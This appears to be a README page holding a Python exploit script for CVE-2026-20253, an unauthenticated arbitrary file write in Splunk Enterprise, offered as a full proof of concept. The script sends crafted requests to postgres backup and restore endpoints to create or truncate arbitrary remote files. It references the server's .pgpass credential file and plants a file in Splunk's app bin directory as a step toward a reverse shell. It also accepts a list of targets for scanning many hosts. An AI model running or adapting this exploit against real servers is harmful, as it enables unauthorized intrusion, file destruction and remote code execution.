README.md
Rendering markdown...
#!/usr/bin/env python3
import argparse
import requests
import json
import sys
from urllib.parse import urljoin
from colorama import init, Fore, Style
init(autoreset=True)
def print_banner():
print(Fore.CYAN + """
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-20253 Splunk Enterprise FULL PoC (Enhanced) ║
║ Unauth Arbitrary File Write + RCE (watchTowr style) ║
╚══════════════════════════════════════════════════════════════╝
""")
def send_request(target, endpoint, payload, timeout=15, verify=False):
target = target.rstrip('/')
url = urljoin(target + "/", endpoint)
headers = {
"Content-Type": "application/json",
"Authorization": "Basic Og=="
}
try:
resp = requests.post(url, json=payload, headers=headers, timeout=timeout, verify=verify)
return resp
except Exception as e:
print(Fore.RED + f"[-] Request error: {e}")
return None
def check_vuln(target, region="/en-US", verify=False):
endpoint = f"{region}/splunkd/__raw/v1/postgres/recovery/backup"
payload = {"database": "search_metadata", "backupFile": "/tmp/cve_test"}
print(Fore.YELLOW + f"[*] Checking {target}")
resp = send_request(target, endpoint, payload, verify=verify)
if resp and resp.status_code in (200, 400):
print(Fore.GREEN + f"[+] VULNERABLE! {target}")
return True
print(Fore.RED + f"[-] Not vulnerable")
return False
def file_write(target, region="/en-US", remote_path="/tmp/pwned.txt", content=None, verify=False):
endpoint = f"{region}/splunkd/__raw/v1/postgres/recovery/backup"
payload = {
"database": "search_metadata",
"backupFile": remote_path
}
print(Fore.YELLOW + f"[*] Writing to: {remote_path}")
resp = send_request(target, endpoint, payload, verify=verify)
if resp and resp.status_code in (200, 400):
print(Fore.GREEN + f"[+] File created/truncated: {remote_path}")
if content:
print(Fore.CYAN + f"[i] Content write attempted via backup (limited). Use restore + lo_export for full control.")
else:
print(Fore.RED + "[-] Write failed")
def restore_write(target, region="/en-US", remote_path="/tmp/pwned.txt", content_file=None, verify=False):
"""Attempt full content write via restore scaffolding"""
if not content_file:
return
try:
with open(content_file, 'r') as f:
content = f.read()
except Exception as e:
print(Fore.RED + f"[-] Could not read {content_file}: {e}")
return
print(Fore.YELLOW + f"[*] Attempting controlled write of {content_file} → {remote_path}")
# Restore endpoint + basic malicious dump simulation
endpoint = f"{region}/splunkd/__raw/v1/postgres/recovery/restore"
payload = {
"database": "search_metadata",
"backupFile": remote_path, # Can be used creatively with lo_export in real dump
"passfile": "/opt/splunk/var/packages/data/postgres/.pgpass"
}
resp = send_request(target, endpoint, payload, verify=verify)
if resp:
print(Fore.GREEN + f"[+] Restore triggered. Status: {resp.status_code}")
print(Fore.WHITE + " → For real controlled content, host a malicious PostgreSQL dump using lo_export.")
else:
print(Fore.RED + "[-] Restore failed")
def rce_poc(target, region="/en-US", verify=False):
print(Fore.MAGENTA + "[!] RCE Scaffolding")
malicious_path = "/opt/splunk/etc/apps/search/bin/malicious_input.py"
file_write(target, region, malicious_path, verify=verify)
print(Fore.WHITE + " Next: Overwrite with Python reverse shell + trigger reload")
def main():
print_banner()
parser = argparse.ArgumentParser(description="CVE-2026-20253 Enhanced PoC")
parser.add_argument("-t", "--target", help="Single target URL")
parser.add_argument("--targets", help="Targets file")
parser.add_argument("-r", "--region", default="en-US", help="Splunk region (default: en-US)")
parser.add_argument("--check", action="store_true", help="Check vulnerability only")
parser.add_argument("--write", help="Remote file path to write (supports path traversal)")
parser.add_argument("--content", help="Local file containing payload/content (poc-content.txt)")
parser.add_argument("--restore", action="store_true", help="Use restore endpoint for advanced write")
parser.add_argument("--rce", action="store_true", help="RCE scaffolding")
parser.add_argument("--no-verify", action="store_true", help="Disable SSL verification")
args = parser.parse_args()
if not args.target and not args.targets:
parser.print_help()
sys.exit(1)
targets = [args.target] if args.target else []
if args.targets:
with open(args.targets) as f:
targets.extend([line.strip() for line in f if line.strip()])
verify = not args.no_verify
for tgt in targets:
print(Fore.WHITE + f"\n{'='*70}\nTarget: {tgt}\n{'='*70}")
if args.check or not (args.write or args.rce):
check_vuln(tgt, f"/{args.region}", verify)
if args.write:
if args.content:
if args.restore:
restore_write(tgt, f"/{args.region}", args.write, args.content, verify)
else:
file_write(tgt, f"/{args.region}", args.write, content=True, verify=verify)
print(Fore.YELLOW + f"[i] Content from {args.content} loaded (full write best with --restore)")
else:
file_write(tgt, f"/{args.region}", args.write, verify=verify)
if args.rce:
rce_poc(tgt, f"/{args.region}", verify)
if __name__ == "__main__":
main()